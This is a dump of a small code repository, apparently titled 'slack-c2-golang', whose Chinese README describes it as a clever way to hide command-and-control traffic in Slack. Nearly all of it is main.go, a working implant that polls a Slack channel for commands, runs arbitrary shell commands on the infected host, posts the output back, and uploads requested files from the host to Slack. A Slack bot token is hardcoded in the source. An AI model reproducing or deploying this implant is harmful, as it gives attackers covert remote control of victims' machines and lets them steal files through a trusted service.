├── README.md ├── 步骤.txt └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # slack-c2-golang 2 | 隐藏c2的巧妙方法使用slack平台 3 | 4 | 可以在我的频道中看到详细使用哦 5 | https://www.bilibili.com/video/BV1pR4y1K7Fs/ 6 | 7 | -------------------------------------------------------------------------------- /步骤.txt: -------------------------------------------------------------------------------- 1 | 参考博客 https://y4er.com/post/slack-golang-c2/ 2 | 3 | 登录 https://slack.com/signin#/signin 4 | 创建机器人 https://api.slack.com/ 5 | 添加机器人 /invite @ 6 | 7 | 测试 https://api.slack.com/methods/conversations.history/test -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "log" 9 | "mime/multipart" 10 | "net/http" 11 | "net/url" 12 | "os" 13 | "os/exec" 14 | "path/filepath" 15 | "strconv" 16 | "strings" 17 | "time" 18 | 19 | "github.com/asmcos/requests" 20 | "github.com/tidwall/gjson" 21 | ) 22 | 23 | const ( 24 | HistoryApi = "https://slack.com/api/conversations.history" 25 | PostMessage = "https://slack.com/api/chat.postMessage" 26 | FileUpload = "https://slack.com/api/files.upload" 27 | Token = "xoxb-3425351798694-3429113403365-vurOGDcXJllSssHwVTOmz2bm" 28 | Channel = "C03CSA39QBW" 29 | ) 30 | 31 | var Timer = 10 32 | 33 | func sleep() { 34 | fmt.Sprintf("sleep %s", Timer) 35 | time.Sleep(time.Duration(Timer) * time.Second) 36 | } 37 | func main() { 38 | ApiPost("hello,Yihsiwei", PostMessage) 39 | for true { 40 | result := ApiGet(HistoryApi, "messages.0.text") 41 | fmt.Println(result) 42 | if strings.HasPrefix(result.Str, "shell") { 43 | cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:]) 44 | ApiPost(cmdRes, PostMessage) 45 | } else if strings.HasPrefix(result.Str, "exit") { 46 | os.Exit(0) 47 | } else if strings.HasPrefix(result.Str, "sleep") { 48 | s := strings.Split(result.Str, " ")[1] 49 | atoi, err := strconv.Atoi(s) 50 | if err != nil { 51 | ApiPost(err.Error(), PostMessage) 52 | } 53 | Timer = atoi 54 | } else if strings.HasPrefix(result.Str, "download") { 55 | filename := strings.Split(result.Str, " ")[1] 56 | ApiUpload(filename) 57 | } else { 58 | fmt.Println("no command") 59 | } 60 | sleep() 61 | } 62 | } 63 | 64 | func ExecCommand(command []string) (out string) { 65 | fmt.Println(command) 66 | cmd := exec.Command(command[0], command[1:]...) 67 | o, err := cmd.CombinedOutput() 68 | 69 | if err != nil { 70 | out = fmt.Sprintf("shell run error: \n%s\n", err) 71 | } else { 72 | out = fmt.Sprintf("combined out:\n%s\n", string(o)) 73 | } 74 | return 75 | } 76 | 77 | // Manage the HTTP GET request parameters 78 | type GetRequest struct { 79 | urls url.Values 80 | } 81 | 82 | // Initializer 83 | func (p *GetRequest) Init() *GetRequest { 84 | p.urls = url.Values{} 85 | return p 86 | } 87 | 88 | // Initialized from another instance 89 | func (p *GetRequest) InitFrom(reqParams *GetRequest) *GetRequest { 90 | if reqParams != nil { 91 | p.urls = reqParams.urls 92 | } else { 93 | p.urls = url.Values{} 94 | } 95 | return p 96 | } 97 | 98 | // Add URL escape property and value pair 99 | func (p *GetRequest) AddParam(property string, value string) *GetRequest { 100 | if property != "" && value != "" { 101 | p.urls.Add(property, value) 102 | } 103 | return p 104 | } 105 | 106 | // Concat the property and value pair 107 | func (p *GetRequest) BuildParams() string { 108 | return p.urls.Encode() 109 | } 110 | func ApiGet(apiUrl string, rule string) gjson.Result { 111 | init := new(GetRequest).Init() 112 | params := init.AddParam("channel", Channel).AddParam("pretty", "1").AddParam("limit", "1").BuildParams() 113 | req := requests.Requests() 114 | req.Header.Set("Authorization", "Bearer "+Token) 115 | resp, _ := req.Get(apiUrl + "?" + params) 116 | 117 | //fmt.Println(resp.Text()) 118 | 119 | bytes, _ := ioutil.ReadAll(strings.NewReader(resp.Text())) 120 | //fmt.Println(string(bytes)) 121 | return gjson.GetBytes(bytes, rule) 122 | } 123 | func ApiPost(text string, apiUrl string) { 124 | var r http.Request 125 | r.ParseForm() 126 | r.Form.Add("token", Token) 127 | r.Form.Add("channel", Channel) 128 | r.Form.Add("pretty", "1") 129 | r.Form.Add("text", text) 130 | r.Form.Add("mrkdwn", "false") 131 | body := strings.NewReader(r.Form.Encode()) 132 | response, err := http.Post(apiUrl, "application/x-www-form-urlencoded", body) 133 | if err != nil { 134 | return 135 | } 136 | bytes, _ := ioutil.ReadAll(response.Body) 137 | ok := gjson.GetBytes(bytes, "ok") 138 | fmt.Println(ok) 139 | } 140 | func ApiUpload(filename string) { 141 | //fmt.Println(filename) 142 | // 创建表单文件 143 | // CreateFormFile 用来创建表单,第一个参数是字段名,第二个参数是文件名 144 | buf := new(bytes.Buffer) 145 | writer := multipart.NewWriter(buf) 146 | writer.WriteField("token", Token) 147 | writer.WriteField("pretty", "1") 148 | writer.WriteField("channels", Channel) 149 | //writer.WriteField("filetype", "text") 150 | formFile, err := writer.CreateFormFile("file", filepath.Base(filename)) 151 | if err != nil { 152 | log.Fatalf("Create form file failed: %s\n", err) 153 | } 154 | 155 | // 从文件读取数据,写入表单 156 | srcFile, err := os.Open(filename) 157 | if err != nil { 158 | log.Fatalf("%Open source file failed: s\n", err) 159 | } 160 | defer srcFile.Close() 161 | _, err = io.Copy(formFile, srcFile) 162 | if err != nil { 163 | log.Fatalf("Write to form file falied: %s\n", err) 164 | } 165 | 166 | // 发送表单 167 | contentType := writer.FormDataContentType() 168 | writer.Close() // 发送之前必须调用Close()以写入结尾行 169 | _, err = http.Post(FileUpload, contentType, buf) 170 | if err != nil { 171 | log.Fatalf("Post failed: %s\n", err) 172 | } 173 | //all, err := ioutil.ReadAll(resp.Body) 174 | //fmt.Println(string(all)) 175 | } 176 | --------------------------------------------------------------------------------